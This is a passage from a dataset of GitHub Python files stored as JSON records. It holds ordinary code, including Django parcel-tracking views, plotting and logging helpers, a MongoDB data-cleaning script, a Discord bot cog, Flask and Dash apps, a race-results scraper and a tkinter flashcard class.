documentWeight\n status_parsel_model.factualWeight = factualWeight\n status_parsel_model.payerType = payerType\n status_parsel_model.seatsAmount = seatsAmount\n status_parsel_model.phoneRecipient = phoneRecipient\n status_parsel_model.scheduledDeliveryDate = scheduledDeliveryDate\n status_parsel_model.documentCost = documentCost\n status_parsel_model.paymentMethod = paymentMethod\n status_parsel_model.warehouseSender = warehouseSender\n status_parsel_model.dateCreated = dateCreated\n status_parsel_model.dateScan = dateScan\n status_parsel_model.recipientAddress = recipientAddress\n status_parsel_model.recipientFullNameEW = recipientFullNameEW\n status_parsel_model.cargoDescriptionString = cargoDescriptionString\n status_parsel_model.announcedPrice = announcedPrice\n status_parsel_model.actualDeliveryDate = actualDeliveryDate\n status_parsel_model.recipientDateTime = recipientDateTime\n status_parsel_model.save()\n except:\n status_parsel_model = StatusNPParselFromDoucmentID(status_code=status_code, status_desc=status,\n docNumber=number, for_order_id=order_id,\n counterpartyRecipientDescription=counterpartyRecipientDescription,\n documentWeight=documentWeight,\n factualWeight=factualWeight,\n payerType=payerType,\n seatsAmount=seatsAmount,\n phoneRecipient=phoneRecipient,\n scheduledDeliveryDate=scheduledDeliveryDate,\n documentCost=documentCost,\n paymentMethod=paymentMethod,\n warehouseSender=warehouseSender,\n dateCreated=dateCreated,\n dateScan=dateScan,\n actualDeliveryDate=actualDeliveryDate,\n recipientDateTime=recipientDateTime,\n recipientAddress=recipientAddress,\n recipientFullNameEW=recipientFullNameEW,\n cargoDescriptionString=cargoDescriptionString,\n announcedPrice=announcedPrice)\n status_parsel_model.save()\n\n parsels_status_data = Order.objects.get(id=order_id).statusnpparselfromdoucmentid_set.all()\n response = render(request, 'partials/np_delivery_info_in_list_of_orders.html',\n {'parsels_status_data': parsels_status_data})\n trigger_client_event(response, f'np_create_ID_button_subscribe{order_id}', {})\n\n else:\n parsels_status_data = Order.objects.get(id=order_id).statusnpparselfromdoucmentid_set.all()\n response = render(request, 'partials/np_delivery_info_in_list_of_orders.html',\n {'parsels_status_data': parsels_status_data})\n trigger_client_event(response, f'np_create_ID_button_subscribe{order_id}', {})\n\n\n return response\n\n\ndef np_create_ID_button_subscribe(request, order_id):\n print(\"np_create_ID_button_subscribe\")\n order = Order.objects.get(id=order_id)\n return render(request, 'partials/np_create_ID_button.html', {'order': order})\n\n\n","repo_name":"blezin2205/DMDX_Django","sub_path":"supplies/NPViews.py","file_name":"NPViews.py","file_ext":"py","file_size_in_byte":22120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1488276970","text":"##############################################################################################\n# plots.py - Functions for analogue analysis plots\n#\n# by Tyler Wixtrom\n# Texas Tech University\n# 20 July 2018\n#\n# Code for analysis plotting of adaptive ensemble forecasts.\n#\n##############################################################################################\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\n\n\ndef plot_panels(figsize, layout, num_axes, grid=True, axis_titles=None, x_labels=None,\n y_labels=None, ylim=None, xlim=None, proj=None):\n \"\"\"Generate matplotlib axis object for a given figsize and layout\n figsize: tuple\n tuple of the figure size.\n layout: tuple\n layout that should be passed to figure.add_subplot.\n num_axes: int\n number of axes.\n grid: bool\n add a grid background if true (default).\n axis_titles: list\n list of string titles for each axis.\n x_labels, y_labels: list\n list of x and y labels for each axis.\n If only one is given all axes will be labeled the same.\n x_lim, ylim: tuple\n tuple of x-axis or y-axis limits.\n\n Returns:\n list of axis objects corresponding to each axis in the input layout.\n\n \"\"\"\n fig = plt.figure(figsize=figsize)\n ret = []\n for i in range(num_axes):\n ax = fig.add_subplot(layout[0], layout[1], i+1, projection=proj)\n if grid:\n ax.grid()\n if axis_titles is not None:\n ax.set_title(axis_titles[i])\n if x_labels is not None:\n if len(x_labels) > 1:\n ax.set_xlabel(x_labels[i])\n else:\n ax.set_xlabel(x_labels[0])\n if y_labels is not None:\n if len(y_labels) > 1:\n ax.set_ylabel(y_labels[i])\n else:\n ax.set_ylabel(y_labels[0])\n if ylim is not None:\n ax.set_ylim(ylim[0], ylim[1])\n if xlim is not None:\n ax.set_xlim(xlim[0], xlim[1])\n\n ret.append(ax)\n return ret","repo_name":"tjwixtrom/adaptive_WRF","sub_path":"analogue_algorithm/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"14445302272","text":"\"\"\" Logging stuff \"\"\"\n\ndef message(msg):\n ''' Logs message '''\n print(msg)\n\ndef dataset_configuration(feature, classes, components_cnt):\n ''' Logs dataset configuration info'''\n print('Selected feature: {}'.format(feature))\n print('Principal components count: {:d}'.format(components_cnt))\n print('Classes count: {:d}'.format(len(classes)))\n print('Selected classes: {}'.format(classes))\n\ndef dataset_summary(train_set_size, test_set_size):\n ''' Logs dataset summary '''\n full_dataset_size = train_set_size + test_set_size\n print('Full dataset size: {:d}'.format(full_dataset_size))\n print('Training set size: {:d} ({:.2f} %)'.format(\n train_set_size,\n 100*train_set_size/full_dataset_size\n ))\n print('Test set size: {:d} ({:.2f} %)'.format(\n test_set_size,\n 100*test_set_size/full_dataset_size\n ))\n print('')\n\ndef accuracy(value):\n ''' Logs accuracy value '''\n print('Total accuracy: {:.2f} %\\n'.format(100 * value))\n\ndef time(elapsed_seconds):\n ''' Logs operation elapsed time '''\n total_seconds = int(elapsed_seconds)\n hours = total_seconds//3600\n minutes = (total_seconds - 3600*hours)//60\n seconds = total_seconds - 3600*hours - 60*minutes\n msg = \"Operation completed. Elapsed time: {:d}h {:d}m {:d}s\".format(hours, minutes, seconds)\n print(msg)\n\ndef line():\n ''' Logs separating line '''\n print('_'*100)\n","repo_name":"asmolik/snr","sub_path":"log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28196990988","text":"# -*- coding:utf-8 -*-\nimport pymongo\n\n\ndef test_list():\n type_name = [\"半冬性小麦\", \"冬性小麦\", \"春性小麦\", \"弱春性小麦\", \"弱冬性小麦\"]\n x = \"冬性小麦\"\n\n if x in type_name:\n print(\"njhygyu\")\n\n\ndef statistic_id():\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n paperdb = myclient[\"paper\"]\n col = paperdb[\"wheat1\"]\n count = 0\n for x in col.find():\n if \"审定编号\" in x:\n count += 1\n print(count)\n\n\ndef test_author():\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n paperdb = myclient[\"paper\"]\n col = paperdb[\"wheat1\"]\n count = 0\n for x in col.find():\n if \"选育单位\" in x:\n count += 1\n print(x[\"bid\"] + \" 选育单位 \" + x[\"选育单位\"])\n if \"申请单位\" in x:\n count += 1\n print(x[\"bid\"] + \" 申请单位 \" + x[\"申请单位\"])\n if \"育种人\" in x:\n count += 1\n print(x[\"bid\"] + \" 育种人 \" + x[\"育种人\"])\n if \"育种者\" in x:\n count += 1\n print(x[\"bid\"] + \" 育种者 \" + x[\"育种者\"])\n if \"申请者\" in x:\n count += 1\n print(x[\"bid\"] + \" 申请者 \" + x[\"申请者\"])\n print(count)\n\n\n# 将整理好的机构更新到mongodb中\ndef update_organization():\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n paperdb = myclient[\"paper\"]\n col = paperdb[\"wheat1\"]\n with open(\"../data/analyze/organization.txt\", \"r\", encoding=\"utf-8\") as f:\n for line in f.readlines():\n items = line.replace('\\r', '').replace('\\n', '').replace('\\t', '').split(\" \")\n # col.update({'bid': str(x[\"bid\"])}, {'$set': {\"bname\": x[\"bname\"]}})\n col.update({\"bid\": str(items[0])}, {\"$set\": {\"\" + items[1]: items[2]}})\n print(items[0])\n\n\n# 将选育者摘出\ndef update_col():\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n paperdb = myclient[\"paper\"]\n col = paperdb[\"wheat1\"]\n count = 0\n for x in col.find():\n if \"申请者\" in x:\n if \"选育者:\" in str(x[\"申请者\"]):\n items = str(x[\"申请者\"]).split(\"选育者:\")\n print(items[1])\n col.update({\"bid\": x[\"bid\"]}, {\"$set\": {\"申请者\": items[0]}})\n print(x[\"bid\"] + \" 选育者 \" + items[1])\n count += 1\n print(count)\n\n\ntest_author()","repo_name":"Honyelchak/wheat-knowledge","sub_path":"graph/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"73999265547","text":"import csv\n\n\n# graph to csv\ndef to_csv(G, name):\n with open(f'data/{name}.csv', 'w') as f:\n writer = csv.writer(f)\n writer.writerow(['source', 'source_attr', 'target', 'target_attr'])\n for i in G.nodes:\n for j in G.neighbors(i):\n writer.writerow([i, get_status(G, i), j, get_status(G, j)])\n","repo_name":"BCHoagland/disease-sim","sub_path":"herd/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43096433092","text":"from core.Cog_Extension import *\r\nclass everyday(Cog_Extension):\r\n def __init__(self,bot):\r\n super().__init__(\r\n bot,\r\n cog_name = 'everyday', \r\n cog_class= 'auto'\r\n )\r\n self.sign()\r\n @commands.hybrid_command(\r\n name = \"運勢\",\r\n description = \">> 每日運勢 !! <<\"\r\n )\r\n @app_commands.choices(\r\n project = [\r\n app_commands.Choice(name=name,value=name) for name in data[\"users_data\"][\"運勢\"].keys()\r\n ]\r\n )\r\n @app_commands.describe(\r\n project = \">> 運勢項目 ?? <<\",\r\n user = \">> 查詢對象 ?? <<\"\r\n )\r\n async def fortune(\r\n self,\r\n ctx,\r\n project: typing.Optional[app_commands.Choice[str]],\r\n user : typing.Optional[discord.User]\r\n ) :\r\n try: \r\n project = project.value\r\n except: \r\n project = \"今日\"\r\n try:\r\n await fortune_look(\r\n ctx = ctx,\r\n user = user,\r\n project = project,\r\n BotName = self.bot.BotName\r\n )\r\n except:\r\n await fortune_look(\r\n ctx = ctx,\r\n user = ctx.author,\r\n project = project,\r\n BotName = self.bot.BotName\r\n )\r\n\r\n @commands.hybrid_command(\r\n name = \"運勢對應\",\r\n description = \">> 運勢等級對應 !! <<\"\r\n )\r\n async def fortune_rank(self,ctx):\r\n txt = \"\"\r\n out = \"\" \r\n embed = discord.Embed(\r\n title = f' >> 運勢對應 !! << ',\r\n description = f'> 給 {ctx.author.mention}',\r\n color = 0xab5bdb,\r\n timestamp = datetime.datetime.now()\r\n )\r\n for x,y in data[\"整體運勢\"].items() :\r\n if x != 'size':\r\n if txt == y:\r\n out += f' {x}.'\r\n else :\r\n txt = y\r\n out += f'\\n> {txt} : {x}.'\r\n embed.add_field(\r\n name=f'級別 ( 0 ~ {data[\"整體運勢\"][\"size\"]})',\r\n value= out,\r\n inline=False\r\n )\r\n for x in data[\"users_data\"][\"運勢\"] :\r\n out=f'數量 : {data[\"users_data\"][\"運勢\"][x][\"整體運勢\"]}筆\\n分別為 :'\r\n for y in data[\"users_data\"][\"運勢\"][x].keys() :\r\n if y!=\"整體運勢\" :\r\n out += f'\\n> {y}.'\r\n embed.add_field(\r\n name=f'運勢-{x}:',\r\n value= out,\r\n inline=True\r\n )\r\n embed.set_footer(text=self.bot.BotName)\r\n await process_in(\r\n project = 'sign',\r\n key = str(datetime.datetime.now()),\r\n text = f'{ctx.author.name}({ctx.author.id}) 查詢 運勢對應'\r\n )\r\n await ctx.send(embed=embed)\r\n\r\n @commands.hybrid_command(\r\n name = \"簽到\",\r\n description = \">> 簽到操作 !! <<\"\r\n )\r\n @app_commands.choices(\r\n project = [\r\n app_commands.Choice(name=\"每日\",value=\"每日\"),\r\n app_commands.Choice(name=\"查詢\",value=\"查詢\")\r\n ]\r\n )\r\n @app_commands.describe(\r\n project = \">> 運勢項目 ?? <<\",\r\n user = \">> 查詢對象 ?? <<\"\r\n )\r\n async def sign_look(\r\n self,\r\n ctx,\r\n project: typing.Optional[app_commands.Choice[str]],\r\n user : typing.Optional[discord.User]\r\n ):\r\n try: \r\n project = project.value\r\n except: \r\n project = \"每日\"\r\n embed = discord.Embed(\r\n title = f' >> {project}運勢 !! << ',\r\n description = f'> 給 {ctx.author.mention}',\r\n color = 0xab5bdb,\r\n timestamp = datetime.datetime.now()\r\n )\r\n if project == \"每日\":\r\n try: \r\n await fortune_in(\r\n name = user.name,\r\n id = user.id\r\n )\r\n await process_in(\r\n project = 'sign',\r\n key = str(datetime.date.today()),\r\n text = f'{ctx.author.name}({ctx.author.id}) 已幫 {user.name}({user.id})簽到'\r\n )\r\n embed.add_field(\r\n name = f'{ctx.author.name}({ctx.author.id}) 已幫',\r\n value = f'> {user.name}({user.id})簽到',\r\n inline = False\r\n )\r\n \r\n except: \r\n await fortune_in(\r\n name = ctx.author.name,\r\n id = ctx.author.id\r\n )\r\n embed.add_field(\r\n name = f'每日簽到',\r\n value = f'> {ctx.author.name}({ctx.author.name})已完成',\r\n inline = False\r\n )\r\n try:\r\n name = user.name\r\n id = user.id\r\n if not os.path.isfile(f'data\\\\users_data\\\\{id}.json'):\r\n embed.add_field(\r\n name = f'{name}({id})',\r\n value = f'> 檔案未存在',\r\n inline = False\r\n )\r\n else:\r\n with open(f'data\\\\users_data\\\\{id}.json', newline='',mode='r',encoding=\"utf8\") as reuser: \r\n users = json.load(reuser)\r\n out=\"\"\r\n for i in reversed(users[\"個人資料\"][\"簽到記錄\"]): \r\n out += f'> {i}\\n' \r\n embed.add_field(\r\n name = f'{name}({id})的簽到列表',\r\n value = out,\r\n inline = False\r\n )\r\n except: \r\n name = ctx.author.name\r\n id = ctx.author.id\r\n if not os.path.isfile(f'data\\\\users_data\\\\{id}.json'):\r\n embed.add_field(\r\n name = f'{name}({id})',\r\n value = f'> 檔案未存在',\r\n inline = False\r\n )\r\n else:\r\n with open(f'data\\\\users_data\\\\{id}.json', newline='',mode='r',encoding=\"utf8\") as reuser: \r\n users = json.load(reuser)\r\n out=\"\"\r\n for i in reversed(users[\"個人資料\"][\"簽到記錄\"]): \r\n out += f'> {i}\\n' \r\n embed.add_field(\r\n name = f'{name}({id})的簽到列表',\r\n value = out,\r\n inline = False\r\n )\r\n await process_in(\r\n project = 'sign',\r\n key = str(datetime.datetime.now()),\r\n text = f'{ctx.author.name}({ctx.author.id}) 查詢 {name}({id})的簽到列表'\r\n )\r\n embed.set_footer(text=self.bot.BotName)\r\n await ctx.send(embed=embed)\r\n \r\nasync def setup(bot):\r\n await bot.add_cog(everyday(bot))","repo_name":"EnderBill/MUOMBots","sub_path":"cogs/everyday.py","file_name":"everyday.py","file_ext":"py","file_size_in_byte":7163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19690546729","text":"from flask import url_for, redirect, render_template, request, abort\nfrom dateutil.relativedelta import relativedelta\n\nfrom datetime import datetime\n\nfrom config import app, db, SERVER_NAME\nfrom graph import getGraphElements\nfrom models import stocks, indices\nfrom articles import articleRequestWrapper\n\n@app.route('/')\ndef index():\n return redirect(SERVER_NAME + '/s/Apple?range=1y&interval=1w&ending=' + datetime.strftime(datetime.now(), '%Y-%m-%d'))\n\n@app.route('//') \ndef main(instrument, commodity):\n # get the url params\n time_range_param = request.args.get('range')\n interval_param = request.args.get('interval')\n time_ending_param = request.args.get('ending')\n \n # default url params\n if(not time_range_param): time_range_param = '1y'\n if(not interval_param): interval_param = '1w'\n if(not time_ending_param): time_ending_param = datetime.strftime(datetime.now(), '%Y-%m-%d')\n \n \n # dictionary of dictionary for the args to relativedelta, https://dateutil.readthedocs.io/en/stable/relativedelta.html\n range_array = {\n '3m': {'months' : +3}, \n '6m': {'months' : +6},\n '1y': {'years' : +1},\n '2y': {'years' : +2},\n '3y': {'years' : +3},\n '5y': {'years' : +5}\n }\n\n ending_date = datetime.strptime(time_ending_param, '%Y-%m-%d')\n starting_date = ending_date - relativedelta(**range_array[time_range_param])\n\n date_diff_days = (ending_date - starting_date).total_seconds() / (3600 * 24)\n\n interval_array = {'1d': 1, '2d': 2, '3d': 3, '1w': 7, '2w': 14, '4w': 28}\n intervals = int(date_diff_days / interval_array[interval_param])\n\n # get elements from db\n stocks_all = stocks.query.all()\n indices_all = indices.query.all()\n\n # commodity switch\n if(instrument == 'i'):\n symbol = commodity\n title = indices.query.filter_by(symbol= commodity).first().name\n elif(instrument == 'f'):\n symbol = commodity\n title = commodity\n else:\n symbol = stocks.query.filter_by(url_name= commodity).first().symbol\n title = commodity\n\n # prepare the graph\n graph = getGraphElements(\n start= starting_date.strftime('%Y-%m-%d'), \n end= time_ending_param, \n symbol= symbol,\n title= title\n )\n\n return render_template('index.html', \n stocks = stocks_all, \n indices = indices_all,\n graph_script = graph[0][0],\n graph_div = graph[0][1],\n intervals = intervals,\n y_axis_pixels = graph[1])\n\n@app.route('/articles/', methods=['POST'])\ndef articles():\n return articleRequestWrapper(request)\n\n\nif __name__ == '__main__':\n db.create_all()\n app.run(host='localhost', port=8080, debug=True)\n","repo_name":"RossCradock/pricethenews","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35569656985","text":"import asyncio\nimport logging\nimport asyncpg\n\n\nasync def main():\n connection = await asyncpg.connect(host='127.0.0.1',\n port=5432,\n user='postgres',\n database='products',\n password='password')\n try:\n async with connection.transaction():\n insert_brand = \"INSERT INTO brand VALUES(9999, 'big_brand')\"\n await connection.execute(insert_brand)\n await connection.execute(insert_brand) # A\n except Exception:\n logging.exception('Error while running transaction') # B\n finally:\n query = \"\"\"SELECT brand_name FROM brand \n WHERE brand_name LIKE 'big_%'\"\"\"\n brands = await connection.fetch(query) # C\n print(f'Query result was: {brands}')\n\n await connection.close()\n\n\nasyncio.run(main())\n","repo_name":"concurrency-in-python-with-asyncio/concurrency-in-python-with-asyncio","sub_path":"chapter_05/listing_5_10.py","file_name":"listing_5_10.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":195,"dataset":"github-code","pt":"82"} +{"seq_id":"8163132681","text":"import requests\nfrom bs4 import BeautifulSoup\nimport csv\n\ncol_names = {'First' : 'First Name', 'Last' : 'Last Name', 'State or Country':'State/Country'}\n\n\ndef get_results(url, outfile):\n '''Scrapes official Western States results and writes results to a csv file.'''\n req = requests.get(url)\n soup = BeautifulSoup(req.content, 'html.parser')\n list_rows = soup.find_all('tr') # finds all table rows\n header = []\n for col in list_rows[0].find_all('th'):\n header.append(col.string) # appends column names\n header = [col_names.get(x,x) for x in header]\n num_cols = len(header)\n with open(outfile, 'w', encoding = 'utf8', newline = '') as f:\n writer = csv.writer(f)\n writer.writerow(header) # writes header to file\n for row in list_rows[1:]:\n list_vals = row.find_all('td')\n row_vals = ['']*num_cols\n for i,val in enumerate(list_vals):\n row_vals[i] = str(val.string).rstrip()\n writer.writerow(row_vals) # writes row values to file\n\nfor yr in range(1974,2023):\n try:\n url = f'https://www.wser.org/results/{yr}-results/'\n outfile = f'data/raw/wser_{yr}.csv'\n get_results(url, outfile)\n except:\n print(f'No results found for {yr}.')\n\nget_results('https://www.wser.org/results/', 'data/raw/wser_summary.csv')\nget_results('https://www.wser.org/weather/', 'data/raw/wser_weather.csv')","repo_name":"talanthier/wser","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7385184680","text":"import os\nfrom flask import Flask\nfrom dotenv import load_dotenv\nfrom flask import Flask, jsonify, request\nfrom flask_migrate import Migrate\nfrom flask_cors import CORS\nfrom models import db \n\nload_dotenv()\n\napp = Flask(__name__)\napp.config['DEBUG'] = True,\napp.config['ENV'] = 'development'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] =False\napp.config['SQLALCHEMY_DATABASE_URI'] = os.getenv('DATABASEURI')\n\ndb.init_app(app)\nmigrate = Migrate(app, db)\nCORS(app)\n\n#Aca se agregan los endpoints de la base de datos\n\n@app.route('/')\ndef data():\n data = {\n \"name\": \"Nombre de prueba\",\n \"correo\": \"correoprueba@gmail.com\"\n }\n\n return jsonify(data), 200\n\n@app.route('/user-data', methods=['POST','PUT'])\ndef userData():\n pass\n\nif __name__ == '__main__':\n app.run()","repo_name":"roddsolis/proyecto-final-react","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"1820395216","text":"from itertools import accumulate\n\nT = int(input()) ## test case\n\nfor i in range(T):\n k = int(input()) ## floor ## k=3\n n = int(input()) ## number of room ## n=4\n before_k = list(range(1,n+1)) ## [1,2,3,4]\n\n for k_num in range(1,k+1):\n current_k = list(accumulate(before_k)) ## 누적합 \n if k_num != k+1: ## continue until k-th floor\n before_k = current_k \n\n print(current_k[-1]) ## print k-th floor n-th room","repo_name":"a0lim-python/PYTHON_2023_05_09","sub_path":"백준/Bronze/2775. 부녀회장이 될테야/부녀회장이 될테야.py","file_name":"부녀회장이 될테야.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70260713228","text":"\"\"\"\nLogging utils\n\"\"\"\nimport logging\nfrom typing import cast\n\nfrom woolgatherer.utils.settings import Settings\n\n\nTRACE_LOG_LEVEL = logging._nameToLevel[\"TRACE\"] # pylint:disable=protected-access\n\n\nclass Logger(logging.Logger):\n \"\"\" Subclass to provide a trace function. Needed to to make mypy happy. \"\"\"\n\n def trace(self, message: str, *args, **kwargs):\n \"\"\" Trace logging \"\"\"\n return self.log(TRACE_LOG_LEVEL, message, *args, **kwargs)\n\n\ndef get_logger():\n \"\"\" Get the logger \"\"\"\n # Temporarily set the logging class to our class, then reset it after setting\n # up our logger.\n _logging_cls = logging.getLoggerClass()\n logging.setLoggerClass(Logger)\n logger = cast(Logger, logging.getLogger(\"woolgatherer\"))\n logging.setLoggerClass(_logging_cls)\n\n try:\n logger.setLevel(Settings.loglevel.upper())\n logging.log(TRACE_LOG_LEVEL, f\"Set loglevel=%s\", Settings.loglevel)\n except ValueError as exception:\n logging.fatal(str(exception))\n\n return logger\n","repo_name":"dojoteef/storium-frontend","sub_path":"src/woolgatherer/utils/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"6565522934","text":"def main():\n '''\n Faça um programa que pergunte o preço de três produtos e informe qual \n produto você deve comprar, sabendo que a decisão é sempre pelo mais barato.\n '''\n prod1 = float(input('Digite o preço do primeiro produto: '))\n prod2 = float(input('Digite o preço do segundo produto: '))\n prod3 = float(input('Digite o preço do terceiro produto: '))\n\n if (prod1 > prod2):\n if (prod2 > prod3):\n print('Leve o terceiro produto.')\n else:\n print('Leve o segundo produto.')\n elif (prod1 > prod3):\n if (prod3 > prod2):\n print('Leve o segundo produto.')\n else:\n print('Leve o terceiro produto.')\n else:\n print('Leve o primeiro produto.')\n\n # print(min([prod1, prod2, prod3])) resolveria a questão também\n\nif __name__ == '__main__':\n main()","repo_name":"VicMCA/PythonSamples","sub_path":"revisao03_diga-o-mais-barato.py","file_name":"revisao03_diga-o-mais-barato.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"15352717197","text":"import tkinter as tk\r\nfrom PIL import Image, ImageTk\r\nimport random\r\n\r\n\r\ndef draw_card(plate, triple, c_count):\r\n plate.delete('all')\r\n print(triple)\r\n plate.create_image(0, 0, image=triple[0], anchor='nw')\r\n plate.create_text(350, 130, text=triple[1], font=('Helvetica', 32), justify='center')\r\n if triple[1] == 'Chinese':\r\n plate.create_text(350, 210, text=triple[2][1], justify='center', font=('Verdana', 24))\r\n plate.create_text(350, 260, text=triple[2][0], justify='center', font=('Verdana', 24))\r\n else:\r\n plate.create_text(350, 240, text=triple[2], justify='center', font=('Verdana', 24))\r\n plate.create_text(640, 420, text=f\"{c_count}/10000\", justify='center', font=('Verdana', 14), anchor='se')\r\n plate.update()\r\n\r\n\r\nclass CardFunctions:\r\n def __init__(self, root):\r\n a = Image.open(\"./resources/card_front.png\")\r\n b = Image.open(\"./resources/card_back.png\")\r\n self.card_front = ImageTk.PhotoImage(a)\r\n self.card_back = ImageTk.PhotoImage(b)\r\n self.kanvas = root\r\n self.drawn = {'front': [self.card_front, '', ''], 'back': [self.card_back, '', '']}\r\n self.current = 'front'\r\n self.flash_deck = None\r\n self.c_card = None\r\n self.deck_size = None\r\n\r\n def get_card(self):\r\n pop_index = random.randint(0, self.deck_size)\r\n self.c_card = self.flash_deck[1].pop(pop_index)\r\n print(self.c_card)\r\n if self.flash_deck[0][0] == 'Chinese':\r\n self.drawn['front'] = [self.card_front, self.flash_deck[0][0], [self.c_card[0], self.c_card[2]]]\r\n self.drawn['back'] = [self.card_back, self.flash_deck[0][1], self.c_card[1]]\r\n elif self.flash_deck[0][1] == 'Chinese':\r\n self.drawn['front'] = [self.card_front, self.flash_deck[0][0], self.c_card[0]]\r\n self.drawn['back'] = [self.card_back, self.flash_deck[0][1], [self.c_card[1], self.c_card[2]]]\r\n else:\r\n self.drawn['front'] = [self.card_front, self.flash_deck[0][0], self.c_card[0]]\r\n self.drawn['back'] = [self.card_back, self.flash_deck[0][1], self.c_card[1]]\r\n draw_card(self.kanvas, self.drawn[self.current], self.deck_size)\r\n \r\n def flip_card(self):\r\n if self.current == 'front':\r\n self.current = 'back'\r\n elif self.current == 'back':\r\n self.current = 'front'\r\n \r\n draw_card(self.kanvas, self.drawn[self.current], self.deck_size)\r\n \r\n def send_deck(self, deck):\r\n self.flash_deck = deck\r\n self.deck_size = len(self.flash_deck[1])\r\n \r\n def return_to_deck(self):\r\n self.flash_deck[1].append(self.c_card)\r\n ","repo_name":"pogicraft/Flash-Card-Proj","sub_path":"CardFunctions.py","file_name":"CardFunctions.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22158707715","text":"# Import required libraries\r\nimport os, re\r\nfrom random import randint\r\n\r\nimport flask\r\nfrom flask import Flask, render_template\r\n\r\nimport base64, io\r\n\r\nimport dash\r\n# from dash.dependencies import Input, Output\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\n\r\nimport chart_studio\r\nimport chart_studio.plotly as py\r\nimport plotly.graph_objects as go\r\nimport plotly.figure_factory as ff\r\n\r\nfrom flask import Flask, send_from_directory\r\n\r\nimport pandas as pd\r\nfrom numpy import *\r\nimport datetime\r\nimport itertools\r\nfrom datetime import datetime as dt\r\n\r\nlayout = \"\"\"\r\n\r\n\r\n\r\n\r\n Precipitable Water Model\r\n \r\n \r\n {%scripts%}\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n {%css%}\r\n\r\n\r\n\r\n{%config%}\r\n\r\n{%renderer%}\r\n\r\n\r\n\"\"\"\r\napp = dash.Dash(__name__, assets_folder='assets',\r\n index_string=layout, external_scripts=['https://code.getmdl.io/1.3.0/material.min.js'])\r\n\r\nserver = app.server\r\ndf = pd.read_csv(\r\n \"https://raw.githubusercontent.com/physicsgoddess1972/Precipitable-Water-Model/pmat-socorro-nm/data/master_data.csv\")\r\n\r\n\r\ndef parse_data(contents, filename, clear):\r\n if clear == 0:\r\n try:\r\n content_type, content_string = contents.split(',')\r\n decoded = base64.b64decode(content_string)\r\n df = pd.read_csv(io.StringIO(decoded.decode('utf-8')))\r\n except AttributeError:\r\n df = pd.read_csv(\r\n \"https://raw.githubusercontent.com/physicsgoddess1972/Precipitable-Water-Model/pmat-socorro-nm/data/master_data.csv\")\r\n elif clear > 0:\r\n df = pd.read_csv(\r\n \"https://raw.githubusercontent.com/physicsgoddess1972/Precipitable-Water-Model/pmat-socorro-nm/data/master_data.csv\")\r\n return df\r\n\r\n\r\ndef getIndexes(dfObj, value):\r\n ''' Get index positions of value in dataframe i.e. dfObj.'''\r\n listOfPos = list()\r\n # Get bool dataframe with True at positions where the given value exists\r\n result = dfObj.isin([value])\r\n # Get list of columns that contains the value\r\n seriesObj = result.any()\r\n columnNames = list(seriesObj[seriesObj == True].index)\r\n # Iterate over list of columns and fetch the rows indexes where value exists\r\n for col in columnNames:\r\n rows = list(result[col][result[col] == True].index)\r\n for row in rows:\r\n listOfPos.append((row, col))\r\n # Return a list of tuples indicating the positions of value in the dataframe\r\n return listOfPos\r\n\r\n\r\ndef layout():\r\n return html.Div(children=[\r\n html.Div(children=[\r\n html.Div(children=[\r\n html.Div(children=[\r\n dcc.Upload(\r\n id='upload-data',\r\n children=[html.Button(\"add\",\r\n className=\"bottom-nav__icon material-icons\",\r\n style={'display': 'block', 'width': '40px', 'height': '100%',\r\n 'background-color': '#FFF', 'border-color': '#DDD',\r\n 'border-width': '2px', 'margin-left': '14px',\r\n 'margin-right': '8px'})],\r\n ),\r\n html.Label(\"Upload\", style={'color': 'black', 'padding-left': '0px', 'textAlign': 'left'})\r\n ], style={'display': 'flex'}),\r\n html.Div([\r\n html.Button(\"clear\",\r\n id='clear',\r\n className=\"bottom-nav__icon material-icons\",\r\n n_clicks=0,\r\n style={'display': 'block', 'height': '100%', 'width': '40px',\r\n 'background-color': '#FFF', 'border-color': '#DDD', 'border-width': '2px',\r\n 'margin-left': '13px', 'margin-right': '10px'}\r\n ),\r\n html.Label(\"Clear\", style={'color': 'black', 'textAlign': 